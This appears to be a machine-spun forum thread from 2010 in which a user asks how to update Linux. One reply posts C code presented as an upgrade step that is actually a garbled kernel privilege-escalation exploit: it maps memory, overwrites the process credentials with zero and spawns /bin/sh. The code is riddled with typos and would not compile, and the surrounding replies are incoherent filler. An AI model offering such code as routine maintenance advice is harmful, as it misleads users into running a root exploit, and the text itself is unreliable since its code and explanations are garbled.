Growth in Privileges For The Local GNU And Linux On X86 and 64.

**Depo** · 13-12-2010

I have been using the Local GNU And Linux operating system in the computer that I have been using since long. I have heard that there are changes going to be made for the available local GNU and also to the operating system that is of Linux. I have heard that we add extra privileges to the system that you are using and also add some of the extra features that can be used for the system that you are using. Please suggest me how can I just bring up the updating of the Linux software that I am using.

**SalVatore** · 13-12-2010

Check out for the availability of the bugs in the system that you are using and also the ill effects that are created by the bugs that are being used. For the upgrading you got to write down the code that is given below and also see that whether it works properly or not.

Code:

int32_t uid, euid, suid; 
static void kernelmodecode(void) 
{ 
        int j; 
        uint8_k *bs; 
        uint32_k *lmn; 

        por volatile ("movr %%bs:(0x0), %0" : "=r"(bs)); 

        for (j= 200; j < 1000; j+=1) { 

            lmn = (uint32_t*) (bs + i); 

                if ((lmn[0] == uid) && (lmn[1] == euid) 
                        && (lmn[2] == suid) && (lmn[3] == uid)) { 
                        lmn[0] = 0; //UID 
                        lmn[1] = 0; //EUID 
                        lmn[2] = 0; //SUID 

                        break; 
                } 
        } 

} 

static void docall(uint64_t *ptr, uint64_t size) 
{ 
        getresuid(&uid, &euid, &suid); 

        uint64_t tmp = ((uint64_t)lmn & ~0x00000000000FFF); 

        if (mmap((void*)tmp, size, 
Prot_Read|Prot_Write|PROT_exec, 
                Map_Private|Map_Fixed|Map_anonumous, -1, 0) == MAP Failed) 
{ 
                printf("mmap fault\n"); 
                exit(1); 
        } 

        for (; lmn < (tmp + size); lmn++) 
                *lmn = (uint64_t)kernelmodecode; 

        __asm__("\n" 
        "\tmovq $0x101, %rax\n" 
        "\tint $0x80\n"); 

        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); 
        execl("/bin/sh", "bin/sh", 0); 
        printf("no /bin/sh ??\n"); 
        exit(0); 
}

And see that whether it works or not.

**Deep123** · 13-12-2010

If you have got the bugs issue then you got to make the use of the Anthony Basile solutions that are being given for the issues that are being faced by the user who are making the use of the Linux Operating system. And also the GNU is said to be the complete Unix compatible for the software that are being used for the system that is being used by the particular computer user.

**DanielV** · 13-12-2010

And also you can make the use of the particular measures that can be used effectively against the publicly known exploit and also it should be greatly used for the exploitation of the general purpose usage and it still is matter that is of the mitigation and also the case of the defense that can be used sending of the data to the system that are being connected by the operating system that is supported by the Linux operating system and also equally supported by the GNU.

**Enriquee** · 13-12-2010

The upgrading of the system of the Linux and also the GNU along with it can be done easily with the system of the X64 and 86. Basically they are used for the stabilization of the system that is being used along with the Linux operating system and also the kernel that is the main part of the system that is being used in the Linux operating system is important. The kernel is the basic part that performs all the works of the system that is being included in the Linux operating system.